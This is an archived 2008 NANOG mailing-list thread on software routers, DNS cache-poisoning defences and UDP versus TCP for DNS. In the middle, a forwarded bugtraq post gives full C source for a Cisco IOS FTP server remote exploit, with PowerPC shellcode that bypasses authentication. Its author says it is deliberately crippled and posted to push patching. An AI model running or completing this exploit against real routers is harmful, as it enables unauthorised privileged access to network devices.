<200807282224.m6SMOHwE017203@aurora.sol.net> > I wasn't too thrilled about being accused of OS politics when I was > genuinely concerned about deploying a software router based on things > I've heard in passing or read about here previously. It *is* nice to > know that someone found out that FreeBSD 7 hates OSPF - since I actually > use OSPF - and that would have tormented me for a while had I gone that > route. Nonononono ... QUAGGA hates FreeBSD 7, and therefore Quagga OSPF does not work on FreeBSD 7. OpenOSPFD has worked like a CHAMP. Any issues I have with OpenOSPFD are related to it not being Quagga, or as flexible as Quagga, but I have had >0< issues with OpenOSPFD's reliability. With only a relatively short period to judge it, I'll note, but still, easy to install, easy to deploy... Easily enough that I'm having semi-serious thoughts ... The problem appears to be related to FreeBSD having made changes to the multicast API to become RFC-compliant. Quagga has a bunch of workarounds for various forms of brokenness present in Linux, etc., and my reading suggests that Quagga is doing the wrong thing. Quite frankly, this, and the loopback implosion OpenOSPFD caused when we misconfigured it, are the worst things I've heard about software routing this year. Unlike most Cisco or Juniper issues, it's not a "reboot the router" or "that'll be fixed 'soon'" type of thing. You're free to open up the hood and experiment yourself. If your Cisco OSPF wasn't working, and Cisco didn't show any signs of fixing it, it's a little more difficult to just pop the top and drop a different routing protocol engine in. Sorry for any misinterpretation. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From billn at billn.net Mon Jul 28 20:07:42 2008 From: billn at billn.net (Bill Nash) Date: Mon, 28 Jul 2008 18:07:42 -0700 (MST) Subject: Software router state of the art In-Reply-To: <20080728212120.GC22194@datavibe.net> References: <488E0780.4000004@rollernet.us> <20080728212120.GC22194@datavibe.net> Message-ID: On Mon, 28 Jul 2008, Rev. Jeffrey Paul wrote: > As much as I hate to contribute to the problem, I'd like to point out > that the barrage of useless, off-topic, empty traffic on this list in > the last week is, in my estimation, quite a bit above the "usual" ruckus > of NANOG. > > While I'm not one to thunk down the rulebook, can you all collectively > knock it off? I gotta disagree with you, especially with regard to this thread. Much of the conversations on this topic have ancillary benefits, specifically for folks who need to populate networks with things like 10g forensic sensors or similiar. I don't see commodity hardware router discussions being any different from a foundry vs juniper vs crisco discussion, be it typical fanboy nonsense or otherwise. As far as active threads on nanog go, the signal to noise ratio on this one has already far exceeded more 'operational' ones. Even anecdotal experiences noted thus far have been pretty insightful, and useful. I even totally resisted the urge of bombing the thread by extolling the virtues of the Killer NIC as a solution to all the throughput problems people have, because I felt it would really derail what has thus far been a fairly educational thread. That said though, the more I thought about it (the killer nic joke), the more I looked at it. What's the state of NPU offloading amongst software routers? Is the notion even viable? I've seen a couple remarks about various brands of network cards having various buffer and interrupt driven issues as serious limiters to pps throughput, which is what prompted me to think of it in the first place. - billn From vixie at isc.org Mon Jul 28 20:24:43 2008 From: vixie at isc.org (Paul Vixie) Date: Tue, 29 Jul 2008 01:24:43 +0000 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <20080728190541.GG15946@cgi.jachomes.com> (Jay R. Ashworth's message of "Mon\, 28 Jul 2008 15\:05\:41 -0400") References: <20080728190541.GG15946@cgi.jachomes.com> Message-ID: jra at baylink.com ("Jay R. Ashworth") writes: > [ unthreaded to encourage discussion ] > > On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: >> Nameservers could incorporate poison detection... >> >> Listen on 200 random fake ports (in addition to the true query ports); >> if a response ever arrives at a fake port, then it must be an attack, >> read the "identified" attack packet, log the attack event, mark the >> RRs mentioned in the packet as "poison being attempted" for 6 hours; >> for such domains always request and collect _two_ good responses >> (instead of one), with a 60 second timeout, before caching a lookup. >> >> The attacker must now guess nearly 64-bits in a short amount of time, >> to be successful. Once a good lookup is received, discard the normal >> TTL and hold the good answer cached and immutable, for 6 hours (_then_ >> start decreasing the TTL normally). > > Is there any reason which I'm too far down the food chain to see why > that's not a fantastic idea? Or at least, something inspired by it? at first glance, this is brilliant, though with some unimportant nits. however, since it is off-topic for nanog, i'm going to forward it to the namedroppers at ops.ietf.org mailing list and make detailed comments there. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From mksmith at adhost.com Mon Jul 28 21:24:52 2008 From: mksmith at adhost.com (Michael Smith) Date: Mon, 28 Jul 2008 19:24:52 -0700 Subject: Great Suggestion for the DNS problem...? In-Reply-To: Message-ID: Hello All: > From: Paul Vixie > Date: Tue, 29 Jul 2008 01:24:43 +0000 > To: Nanog > Subject: Re: Great Suggestion for the DNS problem...? > > jra at baylink.com ("Jay R. Ashworth") writes: > >> [ unthreaded to encourage discussion ] >> >> On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: >>> Nameservers could incorporate poison detection... >>> >>> Listen on 200 random fake ports (in addition to the true query ports); >>> if a response ever arrives at a fake port, then it must be an attack, >>> read the "identified" attack packet, log the attack event, mark the >>> RRs mentioned in the packet as "poison being attempted" for 6 hours; >>> for such domains always request and collect _two_ good responses >>> (instead of one), with a 60 second timeout, before caching a lookup. >>> >>> The attacker must now guess nearly 64-bits in a short amount of time, >>> to be successful. Once a good lookup is received, discard the normal >>> TTL and hold the good answer cached and immutable, for 6 hours (_then_ >>> start decreasing the TTL normally). >> >> Is there any reason which I'm too far down the food chain to see why >> that's not a fantastic idea? Or at least, something inspired by it? > > at first glance, this is brilliant, though with some unimportant nits. > > however, since it is off-topic for nanog, i'm going to forward it to > the namedroppers at ops.ietf.org mailing list and make detailed comments > there. > -- Still off topic, but perhaps a BGP feed from Cymru or similar to block IP addresses on the list? Regards, Mike From matt at credibleinstitution.org Mon Jul 28 21:44:10 2008 From: matt at credibleinstitution.org (Matt F) Date: Mon, 28 Jul 2008 22:44:10 -0400 Subject: Great Suggestion for the DNS problem...? In-Reply-To: References: Message-ID: <488E83FA.2050200@credibleinstitution.org> What would the ip-blocking BGP feed accomplish? Spoofed source addresses are a staple of the DNS cache poisoning attack. Worst case scenario, you've opened yourself up to a new avenue of attack where you're nameservers are receiving spoofed packets intended to trigger a blackhole filter, blocking communication between your network and the legitimate owner of the forged ip address. Michael Smith wrote: > Hello All: > > > >> From: Paul Vixie >> Date: Tue, 29 Jul 2008 01:24:43 +0000 >> To: Nanog >> Subject: Re: Great Suggestion for the DNS problem...? >> >> jra at baylink.com ("Jay R. Ashworth") writes: >> >> >>> [ unthreaded to encourage discussion ] >>> >>> On Sat, Jul 26, 2008 at 04:55:23PM -0500, James Hess wrote: >>> >>>> Nameservers could incorporate poison detection... >>>> >>>> Listen on 200 random fake ports (in addition to the true query ports); >>>> if a response ever arrives at a fake port, then it must be an attack, >>>> read the "identified" attack packet, log the attack event, mark the >>>> RRs mentioned in the packet as "poison being attempted" for 6 hours; >>>> for such domains always request and collect _two_ good responses >>>> (instead of one), with a 60 second timeout, before caching a lookup. >>>> >>>> The attacker must now guess nearly 64-bits in a short amount of time, >>>> to be successful. Once a good lookup is received, discard the normal >>>> TTL and hold the good answer cached and immutable, for 6 hours (_then_ >>>> start decreasing the TTL normally). >>>> >>> Is there any reason which I'm too far down the food chain to see why >>> that's not a fantastic idea? Or at least, something inspired by it? >>> >> at first glance, this is brilliant, though with some unimportant nits. >> >> however, since it is off-topic for nanog, i'm going to forward it to >> the namedroppers at ops.ietf.org mailing list and make detailed comments >> there. >> -- >> > Still off topic, but perhaps a BGP feed from Cymru or similar to block IP > addresses on the list? > > Regards, > > Mike > > > > From briand at ca.afilias.info Mon Jul 28 22:00:57 2008 From: briand at ca.afilias.info (Brian Dickson) Date: Tue, 29 Jul 2008 04:00:57 +0100 Subject: Great Suggestion for the DNS problem...? In-Reply-To: References: <47EFCC57.7070002@ca.afilias.info> Message-ID: <488E87E9.7010209@ca.afilias.info> > What would the ip-blocking BGP feed accomplish? Spoofed source > addresses are a staple of the DNS cache poisoning attack. > Worst case scenario, you've opened yourself up to a new avenue of > attack where you're nameservers are receiving spoofed packets intended > to trigger a blackhole filter, blocking communication between your > network and the legitimate owner of the forged ip address. > Yes, but what about blocking the addresses of recursive resolvers that are not yet patched? That would certainly stop them from being poisoned, and incent their owners to patch... 1/2 :-) Brian > Michael Smith wrote: > > Still off topic, but perhaps a BGP feed from Cymru or similar to > block IP > addresses on the list? > > Regards, > > Mike From aaron.glenn at gmail.com Mon Jul 28 22:37:21 2008 From: aaron.glenn at gmail.com (Aaron Glenn) Date: Mon, 28 Jul 2008 20:37:21 -0700 Subject: Software router state of the art In-Reply-To: <488E163F.6030305@rollernet.us> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> Message-ID: <18f601940807282037g4574c6c7j93a910d793942f35@mail.gmail.com> On 7/28/08, Seth Mattinen wrote: > > Junpier's J-series is a BSD based platform as far as I understand it. > ImageStream is *much* more affordable for me, but is Linux-based, and I fear ...snip... AFAIK, none of Juniper's Juniper kit rocks BSD outside of the management interfaces and control plane (not even sure about the latter, tbh). someone feel free to correct me... From pauldotwall at gmail.com Tue Jul 29 00:45:00 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Tue, 29 Jul 2008 01:45:00 -0400 Subject: Off topic - RE: So why don't US citizens get this? In-Reply-To: <1217257942.488de1d6b0ec0@mymail.yorku.ca> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> Message-ID: <620fd17c0807282245h63f2b48ew15d61f22bafcdf33@mail.gmail.com> On Mon, Jul 28, 2008 at 11:12 AM, wrote: > ----Recommendation: Bandwidth purchase agreements (Service Level Agreements) > that specify bandwidth, uptime and cost actually define connectivity thus they > should contain a list of peers or network interconnections that will be > maintained for the length of the agreement. > Prepared by Nancy Paterson, York University July 23, 2008 nancyp at yorku.ca How many buyers out there have SLAs which cover inter-provider/domain connectivity? How many sellers are willing to guarantee this level of connectivity to their customers with a SLA? How many peering contracts are worth the paper they're printed on, and have teeth when subjected to attorney review, and none of the usual 30-90 day unilateral severability nonsense? Therein lies your problem. Drive Slow, Paul Wall From eugen at imacandi.net Tue Jul 29 02:38:19 2008 From: eugen at imacandi.net (Eugeniu Patrascu) Date: Tue, 29 Jul 2008 10:38:19 +0300 Subject: Software router state of the art In-Reply-To: <18f601940807282037g4574c6c7j93a910d793942f35@mail.gmail.com> References: <488E0780.4000004@rollernet.us> <20080728175646.GK12628@blend.twistedpair.ca> <488E163F.6030305@rollernet.us> <18f601940807282037g4574c6c7j93a910d793942f35@mail.gmail.com> Message-ID: <488EC8EB.5010609@imacandi.net> Aaron Glenn wrote: > On 7/28/08, Seth Mattinen wrote: > >> Junpier's J-series is a BSD based platform as far as I understand it. >> ImageStream is *much* more affordable for me, but is Linux-based, and I fear >> > ...snip... > > AFAIK, none of Juniper's Juniper kit rocks BSD outside of the > management interfaces and control plane (not even sure about the > latter, tbh). > > someone feel free to correct me... > In the M/T series, control plan is handled by the RE, and the forwarding by the ASICs on each PIC. in the J series, the control and forwarding plane are controlled by the RE, although the forwarding plane has a real time thread in the BSD kernel (or so Juniper says it does). From randy at psg.com Tue Jul 29 02:53:45 2008 From: randy at psg.com (Randy Bush) Date: Tue, 29 Jul 2008 08:53:45 +0100 Subject: Great Suggestion for the DNS problem...? In-Reply-To: References: <20080728190541.GG15946@cgi.jachomes.com> Message-ID: <488ECC89.2030907@psg.com> > however, since it is off-topic for nanog ha ha. please stop telling people that they are off topic for nanog. randy From fw at deneb.enyo.de Tue Jul 29 02:54:25 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Tue, 29 Jul 2008 09:54:25 +0200 Subject: Great Suggestion for the DNS problem...? In-Reply-To: (Paul Vixie's message of "Tue, 29 Jul 2008 01:24:43 +0000") References: <20080728190541.GG15946@cgi.jachomes.com> Message-ID: <87bq0hi0r2.fsf@mid.deneb.enyo.de> * Paul Vixie: >>> Listen on 200 random fake ports (in addition to the true query ports); > at first glance, this is brilliant, though with some unimportant nits. It doesn't work OOTB for most users because the spoofed packets never reach the name server process if you don't use the ports to send packets to the authoritative server which is spoofed--the wonders of stateful firewalling. From bortzmeyer at nic.fr Tue Jul 29 07:06:40 2008 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Tue, 29 Jul 2008 13:06:40 +0100 Subject: Federal Government Interest in your patch progress In-Reply-To: <20080725123657.39405a00@cs.columbia.edu> References: <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> <202705b0807250904g5ab31e47ncac228c386bb66e0@mail.gmail.com> <20080725160740.GE54381@puck.nether.net> <20080725123657.39405a00@cs.columbia.edu> Message-ID: <20080729120640.GA9429@laperouse.bortzmeyer.org> On Fri, Jul 25, 2008 at 12:36:57PM -0400, Steven M. Bellovin wrote a message of 29 lines which said: > I've been talking to US Gov't folks, too. They really want DNSSEC (and > secure BGP...) deployed. Then, why ".gov" is not signed? Talk is cheap. From dot at dotat.at Tue Jul 29 08:39:27 2008 From: dot at dotat.at (Tony Finch) Date: Tue, 29 Jul 2008 14:39:27 +0100 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <488E1BCB.4040108@karnaugh.za.net> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> Message-ID: On Mon, 28 Jul 2008, Colin Alston wrote: > > If NS records pointed to IP's instead of names then this problem might not > exist. That would make no difference to Kaminsky's attack, since it's the NS records he's overwriting, not the glue. Tony. -- f.anthony.n.finch http://dotat.at/ PORTLAND PLYMOUTH: SOUTH OR SOUTHWEST 5 OR 6, OCCASIONALLY 7, DECREASING 4 IN PORTLAND LATER. MODERATE OR ROUGH. THUNDERY RAIN OR SHOWERS. MODERATE OR GOOD, OCCASIONALLY POOR. From dot at dotat.at Tue Jul 29 08:41:13 2008 From: dot at dotat.at (Tony Finch) Date: Tue, 29 Jul 2008 14:41:13 +0100 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <488E2A12.40408@karnaugh.za.net> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> Message-ID: On Mon, 28 Jul 2008, Colin Alston wrote: > > In fact, why *don't* implementations discard authoritative responses > from non-authoritative hosts? Or do we? Or am I horribly wrong? The response is spoofed so that it appears to come from the correct host. > There's an argument that IP spoofing can easily derail this, but I'd shift > that argument higher up the OSI, blame TCP, and move on to recommending SYN > cookies. DNS uses UDP. Tony. -- f.anthony.n.finch http://dotat.at/ THAMES DOVER WIGHT: SOUTH OR SOUTHWEST 5 OR 6 BECOMING VARIABLE 3 OR 4. SLIGHT OR MODERATE, OCCASIONALLY ROUGH IN WIGHT AT FIRST. THUNDERY SHOWERS. MODERATE OR GOOD. From smb at cs.columbia.edu Tue Jul 29 08:46:29 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Tue, 29 Jul 2008 09:46:29 -0400 Subject: Federal Government Interest in your patch progress In-Reply-To: <20080729120640.GA9429@laperouse.bortzmeyer.org> References: <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> <202705b0807250904g5ab31e47ncac228c386bb66e0@mail.gmail.com> <20080725160740.GE54381@puck.nether.net> <20080725123657.39405a00@cs.columbia.edu> <20080729120640.GA9429@laperouse.bortzmeyer.org> Message-ID: <20080729094629.54afad3d@yellowstone.machshav.com> On Tue, 29 Jul 2008 13:06:40 +0100 Stephane Bortzmeyer wrote: > On Fri, Jul 25, 2008 at 12:36:57PM -0400, > Steven M. Bellovin wrote > a message of 29 lines which said: > > > I've been talking to US Gov't folks, too. They really want DNSSEC > > (and secure BGP...) deployed. > > Then, why ".gov" is not signed? > > Talk is cheap. There's is in fact movement in that direction. See http://snad.ncsl.nist.gov/dnssec/ to start. --Steve Bellovin, http://www.cs.columbia.edu/~smb From karnaugh at karnaugh.za.net Tue Jul 29 08:56:19 2008 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Tue, 29 Jul 2008 15:56:19 +0200 Subject: Great Suggestion for the DNS problem...? In-Reply-To: References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> Message-ID: <488F2183.2020008@karnaugh.za.net> Tony Finch wrote: > On Mon, 28 Jul 2008, Colin Alston wrote: >> In fact, why *don't* implementations discard authoritative responses >> from non-authoritative hosts? Or do we? Or am I horribly wrong? > > The response is spoofed so that it appears to come from the correct host. > >> There's an argument that IP spoofing can easily derail this, but I'd shift >> that argument higher up the OSI, blame TCP, and move on to recommending SYN >> cookies. > > DNS uses UDP. Ahh yes of course.. Why does it use UDP? :P From LarrySheldon at cox.net Tue Jul 29 09:01:03 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Tue, 29 Jul 2008 09:01:03 -0500 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <488F2183.2020008@karnaugh.za.net> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> <488F2183.2020008@karnaugh.za.net> Message-ID: <488F229F.4080704@cox.net> Colin Alston wrote: > Why does it use UDP? :P Faster? Smaller? Less code to break? No perceived need for state? -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From smb at cs.columbia.edu Tue Jul 29 09:23:02 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Tue, 29 Jul 2008 10:23:02 -0400 Subject: Great Suggestion for the DNS problem...? In-Reply-To: <488F2183.2020008@karnaugh.za.net> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> <488F2183.2020008@karnaugh.za.net> Message-ID: <20080729102302.3d0956f4@cs.columbia.edu> On Tue, 29 Jul 2008 15:56:19 +0200 Colin Alston wrote: > > DNS uses UDP. > > Ahh yes of course.. > > Why does it use UDP? :P > In this situation, UDP uses one query packet and one reply. TCP uses 3 to set up the connection, a query, a reply, and three to tear down the connection. *Plus* the name server will have to keep state for every client, plus TIMEWAIT state, etc. (Exercise left to TCP geek readers: how few packets can you do this in? For example -- send the query with the SYN+ACK, send client FIN with the query, send server FIN with the answer? Bonus points for not leaving the server's side in TIMEWAIT. Exercise for implementers: how sane can your stack be if you're going to support that?) --Steve Bellovin, http://www.cs.columbia.edu/~smb From mohacsi at niif.hu Tue Jul 29 09:32:18 2008 From: mohacsi at niif.hu (Mohacsi Janos) Date: Tue, 29 Jul 2008 16:32:18 +0200 (CEST) Subject: Great Suggestion for the DNS problem...? In-Reply-To: <20080729102302.3d0956f4@cs.columbia.edu> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> <488F2183.2020008@karnaugh.za.net> <20080729102302.3d0956f4@cs.columbia.edu> Message-ID: <20080729162756.V68189@mignon.ki.iif.hu> On Tue, 29 Jul 2008, Steven M. Bellovin wrote: > On Tue, 29 Jul 2008 15:56:19 +0200 > Colin Alston wrote: > >>> DNS uses UDP. >> >> Ahh yes of course.. >> >> Why does it use UDP? :P >> > In this situation, UDP uses one query packet and one reply. TCP uses 3 > to set up the connection, a query, a reply, and three to tear down the > connection. *Plus* the name server will have to keep state for > every client, plus TIMEWAIT state, etc. (Exercise left to TCP geek > readers: how few packets can you do this in? For example -- send the > query with the SYN+ACK, send client FIN with the query, send server FIN > with the answer? Bonus points for not leaving the server's side in > TIMEWAIT. Exercise for implementers: how sane can your stack be if > you're going to support that?) It was advocated as T/TCP in 90s. http://www.kohala.com/start/ttcp.html Not accepted widely: http://en.wikipedia.org/wiki/T/TCP Regads, Janos Mohacsi From dave at mvn.net Tue Jul 29 10:28:41 2008 From: dave at mvn.net (David E. Smith) Date: Tue, 29 Jul 2008 10:28:41 -0500 Subject: Software router state of the art In-Reply-To: <488E102B.4050607@trelane.net> References: <488E0778.80300@sharpone.net> <488E102B.4050607@trelane.net> Message-ID: <488F3729.70305@mvn.net> Andrew D Kirch wrote: >> Anyone have experience with RouterOS (http://www.mikrotik.com/)? >> Created mostly to run on these guys I think >> (http://www.routerboard.com/comparison.html) which generally don't >> get above 200k pps on the higher models.. But will RouterOS run on >> bigger boxen? > Yes I do, and I'm still in therapy. I was pushing 30mbit, and I can't > remember how many PPS through one, and it crashed about once a month > requiring onsite intervention (usually at midnight). This was running > on a Compaq Deskpro I think. It doesn't have much support for good > network cards. I suspect the Realtek's were behind the crashes. The Realteks were almost certainly to blame. Just like any other "server," good hardware is well worth it. RouterOS 2.9 and 3.x support Intel's gigabit server NICs, which work quite well. www.mikrotikrouter.com sells a few nice purpose-built rackmount appliances for this sort of thing. (Just a happy customer, don't work there or anything.) If you have the budget, and need the single-purpose horsepower, you'll usually be happier with Cisco or Juniper or someone that makes dedicated routing kit. If money's tight, or you need one box to do several network-related jobs for whatever reason, Mikrotik's software is another useful tool to have. David Smith MVN.net -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 4958 bytes Desc: S/MIME Cryptographic Signature URL: From swmike at swm.pp.se Tue Jul 29 11:21:49 2008 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Tue, 29 Jul 2008 18:21:49 +0200 (CEST) Subject: Great Suggestion for the DNS problem...? In-Reply-To: <20080729102302.3d0956f4@cs.columbia.edu> References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> <488F2183.2020008@karnaugh.za.net> <20080729102302.3d0956f4@cs.columbia.edu> Message-ID: On Tue, 29 Jul 2008, Steven M. Bellovin wrote: > In this situation, UDP uses one query packet and one reply. TCP uses 3 > to set up the connection, a query, a reply, and three to tear down the > connection. *Plus* the name server will have to keep state for > every client, plus TIMEWAIT state, etc. (Exercise left to TCP geek > readers: how few packets can you do this in? For example -- send the > query with the SYN+ACK, send client FIN with the query, send server FIN > with the answer? Bonus points for not leaving the server's side in > TIMEWAIT. Exercise for implementers: how sane can your stack be if > you're going to support that?) The bittorrent tracker guys seem to run into problems at around 30kk tracker requests per second (TCP), and they say it's mostly setup/teardown (sy usage in vmstat), the tracker hash lookup doesn't take that much. They're trying to move to UDP, currently their workload is approx 5% UDP. I guess TCP DNS workload would be similar in characteristics. -- Mikael Abrahamsson email: swmike at swm.pp.se From laird at pando.com Tue Jul 29 11:25:32 2008 From: laird at pando.com (Laird Popkin) Date: Tue, 29 Jul 2008 12:25:32 -0400 Subject: Great Suggestion for the DNS problem...? In-Reply-To: References: <20080728190541.GG15946@cgi.jachomes.com> <488E1BCB.4040108@karnaugh.za.net> <70D072392E56884193E3D2DE09C097A9F3D0@pascal.zaphodb.org> <20080728195247.GC16875@cgi.jachomes.com> <488E2A12.40408@karnaugh.za.net> <488F2183.2020008@karnaugh.za.net> <20080729102302.3d0956f4@cs.columbia.edu> Message-ID: We mainly use UDP for tracker announces, and only use TCP when we have to, and can confirm that the server spends far more time on the TCP setup/teardown than on computing the tracker response. - LP On Jul 29, 2008, at 12:21 PM, Mikael Abrahamsson wrote: > On Tue, 29 Jul 2008, Steven M. Bellovin wrote: > >> In this situation, UDP uses one query packet and one reply. TCP >> uses 3 >> to set up the connection, a query, a reply, and three to tear down >> the >> connection. *Plus* the name server will have to keep state for >> every client, plus TIMEWAIT state, etc. (Exercise left to TCP geek >> readers: how few packets can you do this in? For example -- send the >> query with the SYN+ACK, send client FIN with the query, send server >> FIN >> with the answer? Bonus points for not leaving the server's side in >> TIMEWAIT. Exercise for implementers: how sane can your stack be if >> you're going to support that?) > > The bittorrent tracker guys seem to run into problems at around 30kk > tracker requests per second (TCP), and they say it's mostly setup/ > teardown (sy usage in vmstat), the tracker hash lookup doesn't take > that much. > > They're trying to move to UDP, currently their workload is approx 5% > UDP. > > I guess TCP DNS workload would be similar in characteristics. > > -- > Mikael Abrahamsson email: swmike at swm.pp.se > From ge at linuxbox.org Tue Jul 29 12:20:58 2008 From: ge at linuxbox.org (Gadi Evron) Date: Tue, 29 Jul 2008 12:20:58 -0500 (CDT) Subject: Remote Cisco IOS FTP exploit (fwd) Message-ID: ---------- Forwarded message ---------- Date: Tue, 29 Jul 2008 11:31:11 +0100 From: Andy Davis To: bugtraq at securityfocus.com Subject: Remote Cisco IOS FTP exploit Hi, The IOS FTP server vulnerabilities were published in an advisory by Cisco in May 2007. The FTP server does not run by default, it is not widely used and has since been removed from new versions of IOS. Therefore, I took the decision to release this exploit code in order to show that IOS can be reliably exploited to provide remote level 15 exec shell access. This clearly demonstrates that patching your router is just as important as patching your servers. To prevent its widespread abuse I have omitted a critical step which means that it will only work when the router is connected to a debugger - not something you are likely to encounter on the Internet Anyway, hopefully this will promote further IOS security research as there's plenty left to look at! Cheers, Andy /* Cisco IOS FTP server remote exploit by Andy Davis 2008 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router Removes the requirement to authenticate and escalates to level 15 ********************************************************************* To protect the innocent a critical step has been omitted, which means the shellcode will only execute when the router is attached to gdb. I'm sure the PowerPC shellcoders out there will work it out... ********************************************************************* Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent on the original IOS security research iosftpexploit googlemail 'dot' com */ #include #include #include #include #define PORT 21 int main(int argc, char **argv) { unsigned char sendbuf[] = "MKD " /* .equ vty_info, 0x8182da60 # pointer to VTY info */ /* .equ terminate, 0x80e4086c # kill a process */ "\x3c\x80\x81\x83" /* lis 4,vty_info at ha */ "\x38\x84\xda\x60" /* la 4,vty_info at l(4) */ "\x7d\x08\x42\x78" /* xor 8,8,8 */ "\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */ "\x91\x07\x01\x74" /* stw 8,372(7) */ "\x39\x08\xff\xff" /* subi 8,8,1 */ "\x38\xe7\x09\x1a" /* addi 7,7,233 */ "\x91\x07\x04\xca" /* stw 8,1226(7) */ "\x7d\x03\x43\x78" /* mr 3,8 */ "\x3c\x80\x80\xe4" /* lis 4,terminate at ha */ "\x38\x84\x08\x6c" /* la 4,terminate at l(4) */ "\x7c\x89\x03\xa6" /* mtctr 4 */ "\x4e\x80\x04\x20" /* bctr */ /* exists cleanly without adversely affecting the FTP server */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x80\x06\x23\xB8" /* return address */ "\x0d\x0a"; /* trampoline code */ /* when the overflow occurs r26+0x14 points to the shellcode */ /* 0x800623B8 lwz 26, 20(26) 0x800623BC mtctr 26 0x800623C0 mr 3, 27 0x800623C4 bctrl */ unsigned char recvbuf[256]; struct sockaddr_in servaddr; int s; if (argc != 2) { printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("\nUsage: %s \n",argv[0]); exit(-1); } servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(argv[1]); servaddr.sin_port = htons(PORT); s = socket(AF_INET, SOCK_STREAM, 0); connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr)); printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n"); printf ("Sending exploit...\n\n"); if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0) { printf("Error sending packet...quitting\n\n"); exit (1); } recv (s, recvbuf, sizeof(recvbuf)-1,0); printf ("Now telnet to the router for a shell...\n\n"); } From john at hypergeek.net Tue Jul 29 18:10:09 2008 From: john at hypergeek.net (John A. Kilpatrick) Date: Tue, 29 Jul 2008 16:10:09 -0700 (PDT) Subject: Hardware capture platforms Message-ID: <20080729155511.R42026@iama.hypergeek.net> We've deployed a bunch taps in our network and now we need a platform on which to capture the data. Our bandwidth is currently pretty low but I've got 8 links to tap, which means I need 16 ports. Has anyone done any research on doing accurate packet capture with commodity hardware? -- John A. Kilpatrick john at hypergeek.net Email| http://www.hypergeek.net/ john-page at hypergeek.net Text pages| ICQ: 19147504 remember: no obstacles/only challenges From jared at puck.nether.net Tue Jul 29 18:35:17 2008 From: jared at puck.nether.net (Jared Mauch) Date: Tue, 29 Jul 2008 19:35:17 -0400 Subject: Hardware capture platforms In-Reply-To: <20080729155511.R42026@iama.hypergeek.net> References: <20080729155511.R42026@iama.hypergeek.net> Message-ID: Check out packet forensics depending on what your 